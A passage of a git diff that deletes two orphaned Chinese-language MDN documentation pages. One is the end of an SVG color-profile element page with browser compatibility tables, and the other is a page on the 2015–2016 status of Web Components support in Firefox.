<li>{{SVGAttr("local")}}</li> - <li>{{SVGAttr("name")}}</li> - <li>{{SVGAttr("rendering-intent")}}</li> - <li>{{SVGAttr("xlink:href")}}</li> -</ul> - -<h2 id="DOM_接口">DOM 接口</h2> - -<p>该元素实现了<code><a href="/en-US/docs/DOM/SVGColorProfileElement">SVGColorProfileElement</a></code>接口。</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<p>该表格基于<a href="/en-US/docs/Web/SVG/Compatibility_sources">这些资源</a>。</p> diff --git a/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html b/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html deleted file mode 100644 index 797cccfd90..0000000000 --- a/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Status of Web Components support in Firefox -slug: orphaned/Web/Web_Components/Status_in_Firefox -translation_of: Web/Web_Components/Status_in_Firefox -original_slug: Web/Web_Components/Status_in_Firefox ---- -<p>{{DefaultAPISidebar("Web Components")}}{{SeeCompatTable}}</p> - -<p><a href="/en-US/docs/Web/Web_Components">Web Components</a> 依旧是一项非常新的技术,它的规范正随着浏览器的实现而不断演变并且 Web 开发者正在测试和使用它。 它的实现状态是变化的并且演变的十分迅速; 这篇文章列出了在 <a href="/en-US/docs/Mozilla/Gecko">Gecko</a> 上的状态, 用于 Firefox 和Firefox OS.</p> - -<div class="blob instapaper_body" id="readme"> -<article class="markdown-body entry-content"> -<h2 id="原生支持">原生支持</h2> - -<p>下面的特征已经被实现了并且默认在 Firefox and Firefox OS 中被激活:</p> - -<ul> - <li>{{HTMLElement("template")}}</li> -</ul> - -<h2 id="即将到来的特征">即将到来的特征</h2> - -<ul> - <li>一个实现关于新的 <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a> 共识有望在2016年第一季度达成; <a href="https://annevankesteren.nl/2015/07/shadow-dom-custom-elements-update">Anne's</a> 和 <a href="https://hacks.mozilla.org/2015/06/the-state-of-web-components/">Wilson's</a> 的博客讲述了这些细节。 这依然有 <a href="https://github.com/w3c/webcomponents/labels/shadow-dom">大量的讨论和公开问题</a> 关于这个规范.。并且所有的浏览器实现被有望在未来得到更新.</li> - <li><strong>自定义元素</strong> 是从头开始, 用一种方式来重建它们使用 ECMAScript 6 “class” 语法 (换而言之, 更少的使用基于原型的语法). 苹果公司的 Ryosuke Niwa 正在填补某些实验性功能使用新的途径. - <ul> - <li>旧的语法将可以与新的语法一起在Chrome 中工作一段时间(例如, {{domxref("Element.createShadowRoot()")}} 对应 {{domxref("Element.attachShadow()")}}), 但不能原生的在Firefox中工作。</li> - </ul> - </li> - <li>这将会有一个供应商 <a href="https://github.com/w3c/WebPlatformWG/blob/gh-pages/meetings/29janWC.md">面对面交流的机会在2016年一月</a> 来讨论问来会出现的问题 。</li> -</ul> - -<h2 id="被摒弃的功能">被摒弃的功能</h2> - -<p>这些功能已被考虑实现了, 并且有些是实验性实现。但他们将会永远不被实现, 或者被删除。</p> - -<ul> - <li><strong>HTML imports</strong>, 因为我们想等着看看开发者如何使用ES6 模块 (虽然还没有实现; 查看 {{bug(568953)}}). imports是一个早期未完成实现,并且将会被删除从Firefox中。</li> -</ul> - -<h2 id="在Firefox中使用垫片">在Firefox中使用垫片</h2> - -<p>这有些注意事项在Firefox中使用垫片的时候:</p> - -<ul> - <li>当你激活原生Web容器支持在Firefox中通过设置 {{pref("dom.webcomponents.enabled")}} 偏好 为 <code>true</code> 在 <code>about:config 中</code>, 这个未完成的原生实现开始运作并且垫片可能会出现混淆; 这会有很大的可能性出现崩溃.</li> - <li>一个使用 <a href="https://github.com/webcomponents/webcomponentsjs">webcomponents.js</a> 垫片生成的Shadow DOM 并没有完全包裹样式, 所以这个 样式 可能会溢出。 要注意使用垫片构建的网址当运行在不支持原生Shadow DOM的环境之下时可能会出现差异.</li> - <li>这个Shadow DOM 垫片运行时非常缓慢的以为他重写了DOM元素的原型来挂在它的功能 。</li> - <li>如果你不需要使用 Shadow DOM, 使用 <a href="https://github.com/webcomponents/webcomponentsjs">webcomponents-lite.js</a> 版本的 webcomponents.js 垫片是一个名明智的选择; 这个版本不填补 Shadow DOM.</li> -</ul> -</article> -</div> |